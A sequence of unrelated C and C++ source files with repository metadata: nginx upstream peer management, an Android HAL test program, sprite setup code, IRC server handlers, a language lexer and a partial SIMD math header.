if ( upstream_name.len == 0 || upstream_ip.len == 0 ) {
return NGX_ERROR;
}
uscf = ngx_stream_upstream_find_upstream(s, &upstream_name);
if ( uscf == NULL ) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_peer upstream not found upstream_name=[%V]", &upstream_name);
return NGX_ERROR;
}
ngx_memzero(&u, sizeof (ngx_url_t));
u.url.len = upstream_ip.len;
u.url.data = upstream_ip.data;
//u.url.data = ngx_pcalloc(uscf->servers->pool, u.url.len+1);
//ngx_memcpy(u.url.data, upstream_ip.data, u.url.len);
u.default_port = 80;
us = ngx_stream_upstream_compare_server(uscf, u);
if ( us == NULL) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_peer server not found upstream_name=[%v],upstream_ip=[%V]",
&upstream_name, &upstream_ip);
return NGX_ERROR;
}
peers = uscf->peer.data;
ngx_memzero(&peer, sizeof (ngx_stream_upstream_rr_peer_t));
if (ngx_stream_upstream_exist_peer(peers, u)) {
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_peer the peer is exist");
return NGX_ERROR;
}
n = peers != NULL ? (peers->number - 1) : 0;
old_size = n * sizeof(ngx_stream_upstream_rr_peer_t)
+ sizeof(ngx_stream_upstream_rr_peers_t);
new_size = old_size + sizeof(ngx_stream_upstream_rr_peer_t);
peers = ngx_prealloc_and_delay(ngx_cycle->pool, uscf->peer.data, old_size, new_size);
if (peers == NULL) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_peer peers pcalloc fail");
return NGX_ERROR;
}
peer.weight = us->weight;
peer.effective_weight = us->weight;
peer.current_weight= 0;
peer.max_fails = us->max_fails;
peer.fail_timeout = us->fail_timeout;
peer.name = us->name;
peer.sockaddr = us->addrs->sockaddr;
peer.socklen = us->addrs->socklen;
peer.name = us->addrs->name;
peer.down = us->down;
peer.fails = 0;
//peer.server = us->name;
peers->peer[peers->number++] = peer;
peers->total_weight += peer.weight;
peers->single = (peers->number == 1);
peers->weighted = (peers->total_weight != peers->number);
uscf->peer.data = peers;
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_peer server=[%V] is ok",&u.url);
return NGX_OK;
}
/*
*get upstream server peer
*
*upstream_name: upstream_name
*upstream_ip: 127.0.0.1:7005
*/
ngx_stream_upstream_rr_peer_t *
ngx_stream_upstream_get_peers(ngx_stream_session_t *s, ngx_str_t upstream_name,
ngx_str_t upstream_ip)
{
ngx_uint_t i;
ngx_stream_upstream_rr_peers_t *peers;
ngx_stream_upstream_srv_conf_t *us;
ngx_url_t u;
size_t len;
if ( upstream_name.len == 0 || upstream_ip.len == 0 ) {
return NULL;
}
us = ngx_stream_upstream_find_upstream(s, &upstream_name);
if ( us == NULL ) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_get_peers upstream not found upstream_name=[%V]", &upstream_name);
return NULL;
}
u.url.len = upstream_ip.len;
u.url.data = upstream_ip.data;
//u.url.data = ngx_pcalloc(us->servers->pool, u.url.len+1);
//ngx_memcpy(u.url.data, upstream_ip.data, u.url.len);
u.default_port = 80;
peers = us->peer.data;
if (peers == NULL) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_get_peers peer not found");
return NULL;
}
for (i = 0; i < peers->number; i++) {
len = peers->peer[i].name.len;
if (len == u.url.len
&& ngx_memcmp(u.url.data, peers->peer[i].name.data, u.url.len) == 0) {
return &peers->peer[i];
}
}
return NULL;
}
static ngx_int_t
ngx_stream_upstream_exist_peer(ngx_stream_upstream_rr_peers_t * peers, ngx_url_t u)
{
ngx_uint_t i;
size_t len;
ngx_stream_upstream_rr_peer_t peer;
if ( peers == NULL ) {
return 0;
}
for (i = 0; i < peers->number; i++) {
peer = peers->peer[i];
len = peer.name.len;
if (len == u.url.len
&& ngx_memcmp(u.url.data, peer.name.data, u.url.len) == 0) {
return 1;;
}
}
return 0;
}
static ngx_stream_upstream_srv_conf_t *
ngx_stream_upstream_find_upstream(ngx_stream_session_t *s, ngx_str_t *host)
{
ngx_uint_t i;
ngx_stream_upstream_srv_conf_t **uscfp, *uscf;
ngx_stream_upstream_main_conf_t *umcf;
umcf = ngx_stream_get_module_main_conf(s, ngx_stream_upstream_module);
uscfp = umcf->upstreams.elts;
for (i = 0; i < umcf->upstreams.nelts; i++) {
uscf = uscfp[i];
if (uscf->host.len == host->len
&& ngx_memcmp(uscf->host.data, host->data, host->len) == 0) {
return uscf;
}
}
return NULL;
}
static ngx_stream_upstream_server_t*
ngx_stream_upstream_compare_server(ngx_stream_upstream_srv_conf_t * us, ngx_url_t u)
{
ngx_uint_t i, j;
size_t len;
ngx_stream_upstream_server_t *server = NULL;
if (us->servers == NULL || us->servers->nelts == 0) {
return NULL;
}
server = us->servers->elts;
for (i = 0; i < us->servers->nelts; ++i) {
for(j = 0; j < server[i].naddrs; ++j) {
len = server[i].addrs[j].name.len;
if (len == u.url.len
&& ngx_memcmp(u.url.data, server[i].addrs[j].name.data, u.url.len) == 0) {
return &server[i];
}
}
}
return NULL;
}
ngx_stream_upstream_srv_conf_t *
ngx_stream_upstream_upstream_add(ngx_stream_session_t *s, ngx_url_t *url)
{
ngx_uint_t i;
ngx_stream_upstream_main_conf_t *umcf;
ngx_stream_upstream_srv_conf_t **uscfp;
umcf = ngx_stream_get_module_main_conf(s, ngx_stream_upstream_module);
uscfp = umcf->upstreams.elts;
for (i = 0; i < umcf->upstreams.nelts; i++) {
if (uscfp[i]->host.len != url->host.len
|| ngx_strncasecmp(uscfp[i]->host.data, url->host.data,
url->host.len) != 0)
{
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_upstream_add upstream_add: host not match");
continue;
}
if (uscfp[i]->port != url->port) {
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_upstream_add upstream_add: port not match");
continue;
}
return uscfp[i];
}
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_upstream_add no upstream found");
return NULL;
}
static void
ngx_stream_upstream_event_init(void *peers)
{
ngx_time_t *tp;
ngx_delay_event_t *delay_event;
delay_event = ngx_calloc(sizeof(*delay_event), ngx_cycle->log);
if (delay_event == NULL) {
ngx_log_error(NGX_LOG_ERR, ngx_cycle->log, 0,
"hngx_stream_upstream_event_init: calloc failed");
return;
}
tp = ngx_timeofday();
delay_event->start_sec = tp->sec;
delay_event->start_msec = tp->msec;
//delay_event->delay_delete_ev.handler = ngx_stream_upstream_add_delay_delete;
delay_event->delay_delete_ev.log = ngx_cycle->log;
delay_event->delay_delete_ev.data = delay_event;
delay_event->delay_delete_ev.timer_set = 0;
delay_event->data = peers;
ngx_add_timer(&delay_event->delay_delete_ev, NGX_DELAY_DELETE);
return;
}
static ngx_int_t
ngx_pfree_and_delay(ngx_pool_t *pool, void *p)
{
ngx_pool_large_t *l;
for (l = pool->large; l; l = l->next) {
if (p == l->alloc) {
ngx_log_debug1(NGX_LOG_DEBUG_ALLOC, pool->log, 0,
"delay free: %p", l->alloc);
ngx_stream_upstream_event_init(l->alloc);
return NGX_OK;
}
}
return NGX_DECLINED;
}
static void *
ngx_prealloc_and_delay(ngx_pool_t *pool, void *p, size_t old_size, size_t new_size)
{
void *new;
ngx_pool_t *node;
if (p == NULL) {
return ngx_palloc(pool, new_size);
}
if (new_size == 0) {
if ((u_char *) p + old_size == pool->d.last) {
pool->d.last = p;
} else {
ngx_pfree(pool, p);
}
return NULL;
}
if (old_size <= pool->max) {
for (node = pool; node; node = node->d.next) {
if ((u_char *)p + old_size == node->d.last
&& (u_char *)p + new_size <= node->d.end) {
node->d.last = (u_char *)p + new_size;
return p;
}
}
}
if (new_size <= old_size) {
return p;
}
new = ngx_palloc(pool, new_size);
if (new == NULL) {
return NULL;
}
ngx_memcpy(new, p, old_size);
ngx_pfree_and_delay(pool, p);
return new;
}
| 2.1875 | 2 |
2024-11-18T22:25:47.351196+00:00 | 2022-08-19T09:12:14 | 1253ec0bf22e63658e0adf3eb281e67f5382c0aa | {
"blob_id": "1253ec0bf22e63658e0adf3eb281e67f5382c0aa",
"branch_name": "refs/heads/master",
"committer_date": "2022-08-19T09:12:14",
"content_id": "320939e213161b648950d4357f98c1aadc6d2b55",
"detected_licenses": [
"MIT"
],
"directory_id": "f97ff3892e7b9362a9ff9c4e0324806b0699514b",
"extension": "c",
"filename": "invcase_conventional_test.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 205826631,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1347,
"license": "MIT",
"license_type": "permissive",
"path": "/blog/android/hal/classical/conventional/aosp/hardware/libhardware/tests/invcase/invcase_conventional_test.c",
"provenance": "stackv2-0115.json.gz:141537",
"repo_name": "vuquangtrong/vuquangtrong.github.io",
"revision_date": "2022-08-19T09:12:14",
"revision_id": "b67a3f357539eb685d5a6c55653d8fcdf0c7d3b0",
"snapshot_id": "3133c58a9771ebd8d8a3173c750496da8667337b",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/vuquangtrong/vuquangtrong.github.io/b67a3f357539eb685d5a6c55653d8fcdf0c7d3b0/blog/android/hal/classical/conventional/aosp/hardware/libhardware/tests/invcase/invcase_conventional_test.c",
"visit_date": "2022-08-23T08:54:41.838533"
} | stackv2 | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <hardware/invcase.h>
int main() {
int err;
struct invcase_module_t *module = NULL;
struct invcase_device_t *device = NULL;
char buffer[INVCASE_BUFFER_MAX_SIZE];
printf("InvCase Conventional HAL Test App\n");
err = hw_get_module(
INVCASE_HARDWARE_MODULE_ID,
(struct hw_module_t const**) &module
);
if (err != 0) {
printf("hw_get_module() failed: (%s)\n", strerror(-err));
return -1;
} else {
printf("hw_get_module() OK\n");
if (module->common.methods->open(
(struct hw_module_t *) module,
INVCASE_HARDWARE_MODULE_ID,
(struct hw_device_t **) &device
) != 0) {
printf("HAL failed to open! (%s)\n",strerror(-err));
return -1;
} else {
printf("hw_get_module() Open: OK\n");
}
}
printf("Input a string: ");
scanf("%s", buffer);
err = device->write(buffer, strlen(buffer));
if (err != 0) {
printf("HAL failed to write! (%s)\n", strerror(-err));
}
err = device->read(buffer, INVCASE_BUFFER_MAX_SIZE);
if (err != 0) {
printf("HAL failed to read! (%s)\n", strerror(-err));
}
printf("Converted string: ");
printf("%s\n", buffer);
return 0;
}
| 2.84375 | 3 |
2024-11-18T22:25:47.589278+00:00 | 2018-09-11T18:21:31 | 32fb7bd73dd2a97946d6c07cc5237cdd4c330e11 | {
"blob_id": "32fb7bd73dd2a97946d6c07cc5237cdd4c330e11",
"branch_name": "refs/heads/master",
"committer_date": "2018-09-11T18:21:31",
"content_id": "cbbdaae82e0a9392853b4ff540ad69d188df760f",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "4b97a192b366b47606041f134fcca98061a7d712",
"extension": "c",
"filename": "testGravity.c",
"fork_events_count": 1,
"gha_created_at": "2013-05-18T11:26:42",
"gha_event_created_at": "2018-09-11T18:19:41",
"gha_language": "C",
"gha_license_id": null,
"github_id": 10140388,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2051,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/testGravity.c",
"provenance": "stackv2-0115.json.gz:141796",
"repo_name": "andrsoze/gPng",
"revision_date": "2018-09-11T18:21:31",
"revision_id": "1efa62f102c7ddd60aeb16e8621e66d4ebb6b596",
"snapshot_id": "38e837b852a4d0e9ecbf194a3fa2a30bad72e31f",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/andrsoze/gPng/1efa62f102c7ddd60aeb16e8621e66d4ebb6b596/src/testGravity.c",
"visit_date": "2021-01-10T21:04:43.421948"
} | stackv2 | #ifdef TARGET_TEST
#include "spriteConstants.h"
#include "gPngGraphics.h"
#include "arrowSpriteData.h"
#include <stdio.h>
void testSprites();
void displaySprites();
int main(void) {
testSprites();
while(1) {}
return 1;
}
void testSprites() {
unsigned int loopCounter;
int i, j, tmp;
unsigned char *pokePtr;
//set up the dataPointers
j=32;
for(i=0;i < 8; i++) {
pokePtr = (char*)(SP0_DATAPTR+i);
(*pokePtr) = j++;
}
//load the sprites
j=0;
for(i = 0; i < 64; i++) {
loopCounter = (SP_DATA3 + i);
pokePtr = (unsigned char *) (loopCounter);
(*pokePtr) = spriteDataArrows[0][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (unsigned char *) (SP_DATA4 + i);
(*pokePtr) = spriteDataArrows[1][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (unsigned char *) (SP_DATA5 + i);
(*pokePtr) = spriteDataArrows[2][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (unsigned char *) (SP_DATA6 + i);
(*pokePtr) = spriteDataArrows[3][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (char *) (SP_DATA7 + i);
(*pokePtr) = spriteDataArrows[4][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (char *) (SP_DATA7 + 0x40 + i);
(*pokePtr) = spriteDataArrows[5][i];
}
pokePtr =(unsigned char *) SP_DATA6;
for(i = 0; i < 64; i++) {
pokePtr = (char *) (SP_DATA7 + 0x80 + i);
(*pokePtr) = spriteDataArrows[6][i];
}
for(i = 0; i < 64; i++) {
pokePtr = (char *) (SP_DATA7 + 0xC0 + i);
(*pokePtr) = spriteDataArrows[7][i];
}
//set up colors
for(i=0;i<8;i++) {
pokePtr = (char*)(SP0_COLOR+i);
(*pokePtr)=0;
}
//setup x and y coords
for(i=0;i<8;i++) {
pokePtr=(char*)(SP0X+(i*2));
(*pokePtr)=(25+25*(1+i));
pokePtr=(char*)(SP0Y+(i*2));
(*pokePtr)=(50);
}
//enable all
pokePtr = (char *) SP_ENABLE;
*(pokePtr) = 255;
}
void displaySprites() {
}
#endif
| 2.28125 | 2 |
2024-11-18T22:25:47.683298+00:00 | 2018-04-10T22:05:52 | 83d854b038ec7cc4ba2eacb191492719f698dc0f | {
"blob_id": "83d854b038ec7cc4ba2eacb191492719f698dc0f",
"branch_name": "refs/heads/master",
"committer_date": "2018-04-10T22:05:52",
"content_id": "af904d607dadfe515209a901445fce6e4703f214",
"detected_licenses": [
"MIT"
],
"directory_id": "f8c2e0b02b4ec02beaa1a7ed7edd146454012fd8",
"extension": "c",
"filename": "orders2.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 84483396,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2590,
"license": "MIT",
"license_type": "permissive",
"path": "/src/server/orders2.c",
"provenance": "stackv2-0115.json.gz:141926",
"repo_name": "adocquin/MyIrc",
"revision_date": "2018-04-10T22:05:52",
"revision_id": "cae374392fac500f379db83da5b572dfd43b3618",
"snapshot_id": "150fea81a1d855eb2a8ca60252177a99fbcbaf50",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/adocquin/MyIrc/cae374392fac500f379db83da5b572dfd43b3618/src/server/orders2.c",
"visit_date": "2020-05-20T14:36:31.437781"
} | stackv2 | /*
** orders2.c for my_irc in /home/docqui_a/PSU_2015_myirc/src/server/
**
** Made by Avel Docquin
** Login <docqui_a@epitech.net>
**
** Started on Thu May 26 23:12:23 2016 Avel Docquin
** Last update Sun Jun 5 15:21:33 2016 Avel Docquin
*/
#include "orders2.h"
int list(const char** const cmd, const unsigned int fd,
t_env* const e, const fd_set* const fd_write)
{
if (!e || (cmd[0] && my_compare_tab(cmd[0], "LIST") != 0))
return (0);
if (write_socket(fd, "321 ", fd_write) == -1
|| write_socket(fd, e[fd].username, fd_write) == -1)
return (-1);
if (write_socket(fd, " Channel :Users Name\r\n322 ", fd_write) == -1
|| write_socket(fd, e[fd].username, fd_write) == -1)
return (-1);
if (write_socket(fd, ADMIN, fd_write) == -1
|| write_socket(fd, "322 ", fd_write) == -1)
return (-1);
if (write_socket(fd, e[fd].username, fd_write) == -1
|| write_socket(fd, GENERAL1, fd_write) == -1)
return (-1);
if (write_socket(fd, "322 ", fd_write) == -1
|| write_socket(fd, e[fd].username, fd_write) == -1)
return (-1);
if (write_socket(fd, GENERAL2, fd_write) == -1
|| write_socket(fd, "323 ", fd_write) == -1)
return (-1);
if (write_socket(fd, e[fd].username, fd_write) == -1
|| write_socket(fd, " :End of channel list.\r\n", fd_write) == -1)
return (-1);
return (1);
}
int privmsg(const char** const cmd, const unsigned int fd,
t_env* const e, const fd_set* const fd_write)
{
int i;
int r;
r = 0;
if (!e || (cmd[0] && my_compare_tab(cmd[0], "PRIVMSG") != 0))
return (0);
if ((!cmd[1] && write_socket(fd, ERR_RECIP, fd_write) == -1)
|| ((cmd[1] && !cmd[2]) && write_socket(fd, ERR_TEXT, fd_write) == -1))
return (-1);
i = -1;
if (cmd[1] && cmd[2])
while (++i < MAX_FD)
{
if (e[i].fd_type != FD_FREE
&& my_compare_tab(e[i].username, cmd[1]) == 0)
{
if (msg_send(e[fd].username, cmd[2], e[i].fd, fd_write) == -1)
return (-1);
r = 1;
}
}
if (r == 0 && rpl_no_such_nick((char*)cmd[1], fd, fd_write, e) == -1)
return (-1);
return (1);
}
int pong(const char** const cmd, const unsigned int fd,
t_env* const e, const fd_set* const fd_write)
{
if (!e || (cmd[0] && my_compare_tab(cmd[0], "PONG") != 0))
return (0);
if (write_socket(fd, "001 MY_IRC\r\n", fd_write) == -1)
return (-1);
return (1);
}
int quit(const char** const cmd, const unsigned int fd, t_env* const e)
{
if (fd == 0 || !e || !cmd[0])
return (0);
if (my_compare_tab(cmd[0], "QUIT") != 0)
return (0);
return (-2);
}
| 2.34375 | 2 |
2024-11-18T22:25:47.765202+00:00 | 2023-07-31T07:02:00 | 276be8bdc146fc07f9cec7350faeddc5f3753a09 | {
"blob_id": "276be8bdc146fc07f9cec7350faeddc5f3753a09",
"branch_name": "refs/heads/master",
"committer_date": "2023-07-31T07:02:00",
"content_id": "0a14e0fda66ac4ffd1317f2348d1f712759271d8",
"detected_licenses": [
"MIT"
],
"directory_id": "f0995f00fb5105145c4c3d834a0d644294aa9e6d",
"extension": "c",
"filename": "lex.c",
"fork_events_count": 1,
"gha_created_at": "2017-03-10T03:14:18",
"gha_event_created_at": "2023-04-26T08:06:58",
"gha_language": "OpenEdge ABL",
"gha_license_id": "NOASSERTION",
"github_id": 84514184,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5285,
"license": "MIT",
"license_type": "permissive",
"path": "/src/lex.c",
"provenance": "stackv2-0115.json.gz:142054",
"repo_name": "mukaiizawa/Paren",
"revision_date": "2023-07-31T07:02:00",
"revision_id": "3a4a2a236b5057439c26c9daf0e4f146085b6145",
"snapshot_id": "7f0edf4c24b47c7cf3f526318f29897bee7d29af",
"src_encoding": "UTF-8",
"star_events_count": 19,
"url": "https://raw.githubusercontent.com/mukaiizawa/Paren/3a4a2a236b5057439c26c9daf0e4f146085b6145/src/lex.c",
"visit_date": "2023-08-11T21:04:25.810859"
} | stackv2 | // lexical analysis.
#include "std.h"
#include "lex.h"
struct xbarray lex_str;
int64_t lex_ival;
double lex_fval;
static FILE *fp;
static int line;
static int column;
static int next_ch;
void lex_error(char *fmt, ...)
{
char buf[MAX_STR_LEN];
va_list va;
va_start(va, fmt);
xvsprintf(buf, fmt, va);
va_end(va);
xerror("%s at line: %d, column: %d", buf, line, column);
}
static int skip(void)
{
int result;
if ((result = next_ch) != '\n') column++;
else {
line++;
column = 0;
}
next_ch = fgetc(fp);
return result;
}
static void add(int ch)
{
xbarray_add(&lex_str, ch);
}
static int get(void)
{
int ch = skip();
add(ch);
return ch;
}
void lex_start(FILE *infp)
{
fp = infp;
line = 1;
column = 0;
xbarray_init(&lex_str);
skip();
}
static int lex_comment(void)
{
while (next_ch != '\n') skip();
skip();
return lex();
}
static int digit_val(int ch, int radix)
{
int result;
if (isdigit(ch)) result = ch - '0';
else if (isalpha(ch)) result = tolower(ch) - 'a' + 10;
else result = -1;
if (!(0 <= result && result < radix)) lex_error("illegal digit %c", ch);
return result;
}
static int lex_number(void)
{
lex_ival = 0;
while (isdigit(next_ch))
lex_ival = lex_ival * 10 + digit_val(skip(), 10);
if (next_ch == 'x') {
int radix = lex_ival;
lex_ival = 0;
skip();
if (radix == 0) radix = 16;
while (isalnum(next_ch))
lex_ival = lex_ival * radix + digit_val(skip(), radix);
} else if (next_ch == '.') {
double factor = 0.1;
lex_fval = lex_ival;
skip();
while (isdigit(next_ch)) {
lex_fval += factor * digit_val(skip(), 10);
factor /= 10;
}
return LEX_FLOAT;
}
return LEX_INT;
}
static int lex_string(void)
{
int quote, val;
quote = skip();
while (next_ch != quote) {
if (next_ch == EOF) lex_error("quote not closed");
if (next_ch != '\\') get();
else {
skip();
switch (next_ch) {
case 'a':
skip();
add('\a');
break;
case 'b':
skip();
add('\b');
break;
case 'c':
skip();
val = toupper(skip());
if (val < 0x40 || val > 0x5f) lex_error("illegal ctrl char");
add(val & 0x1f);
break;
case 'e':
skip();
add(0x1b);
break;
case 'f':
skip();
add('\f');
break;
case 'n':
skip();
add('\n');
break;
case 'r':
skip();
add('\r');
break;
case 't':
skip();
add('\t');
break;
case 'v':
skip();
add('\v');
break;
case 'x':
skip();
val = digit_val(skip(), 16) * 16;
val += digit_val(skip(), 16);
add(val);
break;
default:
get();
break;
}
}
}
skip();
return LEX_STRING;
}
static int identifier_symbol_alpha_p(void)
{
switch (next_ch) {
case '!':
case '#':
case '$':
case '%':
case '&':
case '*':
case '.':
case '/':
case ':':
case '<':
case '=':
case '>':
case '?':
case '[':
case ']':
case '^':
case '_':
case '{':
case '|':
case '}':
case '~':
return TRUE;
default:
return isalpha(next_ch);
}
}
static int identifier_sign_p(void)
{
switch (next_ch) {
case '+':
case '-':
return TRUE;
default:
return FALSE;
}
}
static int identifier_trail_char_p(void)
{
return identifier_symbol_alpha_p() || isdigit(next_ch) || identifier_sign_p();
}
static void lex_identifier_sign(void)
{
if (identifier_sign_p() || identifier_symbol_alpha_p())
while (identifier_trail_char_p()) get();
}
static void lex_identifier(void)
{
if (identifier_sign_p()) {
get();
lex_identifier_sign();
return;
}
if (identifier_symbol_alpha_p()) {
while (identifier_trail_char_p()) get();
return;
}
lex_error("illegal identifier");
}
static int lex_symbol(void)
{
lex_identifier();
return LEX_SYMBOL;
}
static int lex_sign(void)
{
int sign = get();
if (isdigit(next_ch)) {
int token_type = lex_number();
if (sign == '-') {
if (token_type == LEX_INT) lex_ival *= -1;
else lex_fval *= -1;
}
return token_type;
}
lex_identifier_sign();
return LEX_SYMBOL;
}
char *lex_token_name(char *buf, int token)
{
char *name;
switch (token) {
case LEX_SYMBOL: name = "symbol"; break;
case LEX_STRING: name = "string"; break;
case LEX_INT: name = "integer"; break;
case LEX_FLOAT: name = "number"; break;
case EOF: name = "EOF"; break;
default: name = NULL; break;
}
if (name != NULL) strcpy(buf, name);
else xsprintf(buf, "%c", token);
return buf;
}
int lex(void)
{
xbarray_reset(&lex_str);
while (isspace(next_ch)) skip();
switch (next_ch) {
case EOF:
case '(':
case ')':
case '\'':
return skip();
case ';':
return lex_comment();
case '"':
return lex_string();
case '+':
case '-':
return lex_sign();
default:
if (isdigit(next_ch)) return lex_number();
return lex_symbol();
}
}
| 2.625 | 3 |
2024-11-18T22:25:48.176731+00:00 | 2022-11-18T20:51:21 | ee0c7b843f8f1888d0f9369b669fa17634f956ed | {
"blob_id": "ee0c7b843f8f1888d0f9369b669fa17634f956ed",
"branch_name": "refs/heads/master",
"committer_date": "2022-11-18T20:51:21",
"content_id": "98b0d93add15a022feeae87ea74fd40b488ab1c7",
"detected_licenses": [
"Unlicense"
],
"directory_id": "68b42e175e2dffb239fb784c3b8cb89777d8422c",
"extension": "h",
"filename": "mymath.h",
"fork_events_count": 1,
"gha_created_at": "2019-12-28T14:06:38",
"gha_event_created_at": "2022-11-18T20:51:22",
"gha_language": "C++",
"gha_license_id": "Unlicense",
"github_id": 230617996,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 9446,
"license": "Unlicense",
"license_type": "permissive",
"path": "/src/step12/mymath.h",
"provenance": "stackv2-0115.json.gz:142183",
"repo_name": "montib/rays1bench",
"revision_date": "2022-11-18T20:51:21",
"revision_id": "569b433a5c4cb8f993ae6b78dd619e60fbe01245",
"snapshot_id": "310ff65333176d6892ec4a03b3166bfe468c8cb8",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/montib/rays1bench/569b433a5c4cb8f993ae6b78dd619e60fbe01245/src/step12/mymath.h",
"visit_date": "2022-11-26T01:37:13.872519"
} | stackv2 | #pragma once
#include <math.h>
#include <immintrin.h>
#define DEFAULT_RANDOM4_STATE _mm_set_epi32(123, 457, 789, 321)
#define DEFAULT_RANDOM_STATE 1236787
#if defined(_MSC_VER)
#define VM_INLINE __forceinline
#else
#define VM_INLINE __attribute__((unused, always_inline)) inline
#endif
static uint32_t xorshift_state = DEFAULT_RANDOM_STATE;
VM_INLINE static uint32_t XorShift32(uint32_t& state)
{
uint32_t x = state;
x ^= x << 13;
x ^= x >> 17;
x ^= x << 15;
state = x;
return x;
}
VM_INLINE float myrand01()
{
return (XorShift32(xorshift_state) & 0xFFFFFF) * float(1.0 / 16777216.0);
}
VM_INLINE float myrand02()
{
return (XorShift32(xorshift_state) & 0xFFFFFF) / (float)(0xFFFFFF/2 + 1);
}
static __m128i xorshift_state4 = DEFAULT_RANDOM4_STATE;
inline __m128 myrand01_x4()
{
// u32 random
__m128i x = xorshift_state4;
x = _mm_xor_si128(x, _mm_slli_epi32(x, 13));
x = _mm_xor_si128(x, _mm_srli_epi32(x, 17));
x = _mm_xor_si128(x, _mm_slli_epi32(x, 15));
xorshift_state4 = x;
// convert to float
x = _mm_and_si128(x, _mm_set1_epi32(0xFFFFFF));
__m128 xf = _mm_cvtepi32_ps(x);
xf = _mm_mul_ps(xf, _mm_set1_ps((float)(1.0 / (0xFFFFFF + 1))));
return xf;
}
VM_INLINE __m128 myrand02_x4()
{
// u32 random
__m128i x = xorshift_state4;
x = _mm_xor_si128(x, _mm_slli_epi32(x, 13));
x = _mm_xor_si128(x, _mm_srli_epi32(x, 17));
x = _mm_xor_si128(x, _mm_slli_epi32(x, 15));
xorshift_state4 = x;
// convert to float
x = _mm_and_si128(x, _mm_set1_epi32(0xFFFFFF));
__m128 xf = _mm_cvtepi32_ps(x);
xf = _mm_mul_ps(xf, _mm_set1_ps((float)(1.0 / (0xFFFFFF / 2 + 1))));
return xf;
}
#if 1
// SHUFFLE3(v, 0,1,2) leaves the vector unchanged (v.xyz).
// SHUFFLE3(v, 0,0,0) splats the X (v.xxx).
#define SHUFFLE3(V, X,Y,Z) Vec3(_mm_shuffle_ps((V).m, (V).m, _MM_SHUFFLE(Z,Z,Y,X)))
struct Vec3
{
__m128 m;
VM_INLINE Vec3() {}
VM_INLINE explicit Vec3(const float* p) { m = _mm_set_ps(p[2], p[2], p[1], p[0]); }
VM_INLINE explicit Vec3(float x, float y, float z) { m = _mm_set_ps(z, z, y, x); }
VM_INLINE explicit Vec3(float v) { m = _mm_set1_ps(v); }
VM_INLINE explicit Vec3(__m128 v) { m = v; }
void setX(float x)
{
m = _mm_move_ss(m, _mm_set_ss(x));
}
void setY(float y)
{
__m128 t = _mm_move_ss(m, _mm_set_ss(y));
t = _mm_shuffle_ps(t, t, _MM_SHUFFLE(3, 2, 0, 0));
m = _mm_move_ss(t, m);
}
void setZ(float z)
{
__m128 t = _mm_move_ss(m, _mm_set_ss(z));
t = _mm_shuffle_ps(t, t, _MM_SHUFFLE(3, 0, 1, 0));
m = _mm_move_ss(t, m);
}
//VM_INLINE float getX() const { return _mm_cvtss_f32(m); }
//VM_INLINE float getY() const { return _mm_cvtss_f32(_mm_shuffle_ps(m, m, _MM_SHUFFLE(1, 1, 1, 1))); }
//VM_INLINE float getZ() const { return _mm_cvtss_f32(_mm_shuffle_ps(m, m, _MM_SHUFFLE(2, 2, 2, 2))); }
//VM_INLINE float getX() const { return m.m128_f32[0]; }
//VM_INLINE float getY() const { return m.m128_f32[1]; }
//VM_INLINE float getZ() const { return m.m128_f32[2]; }
VM_INLINE float getX() const { return ((float*)&m)[0]; }
VM_INLINE float getY() const { return ((float*)&m)[1]; }
VM_INLINE float getZ() const { return ((float*)&m)[2]; }
VM_INLINE Vec3 yzx() const { return SHUFFLE3(*this, 1, 2, 0); }
VM_INLINE Vec3 zxy() const { return SHUFFLE3(*this, 2, 0, 1); }
};
typedef Vec3 bool3;
VM_INLINE Vec3 operator+ (const Vec3& a, const Vec3& b) { return Vec3(_mm_add_ps(a.m, b.m)); }
VM_INLINE Vec3 operator- (const Vec3 &a, const Vec3 &b) { return Vec3(_mm_sub_ps(a.m, b.m)); }
VM_INLINE Vec3 operator* (const Vec3 &a, const Vec3 &b) { return Vec3(_mm_mul_ps(a.m, b.m)); }
VM_INLINE Vec3 operator/ (const Vec3 &a, const Vec3 &b) { return Vec3(_mm_div_ps(a.m, b.m)); }
VM_INLINE Vec3 operator* (const Vec3 &a, float b) { return Vec3(_mm_mul_ps(a.m, _mm_set1_ps(b))); }
VM_INLINE Vec3 operator/ (const Vec3 &a, float b) { return Vec3(_mm_div_ps(a.m, _mm_set1_ps(b))); }
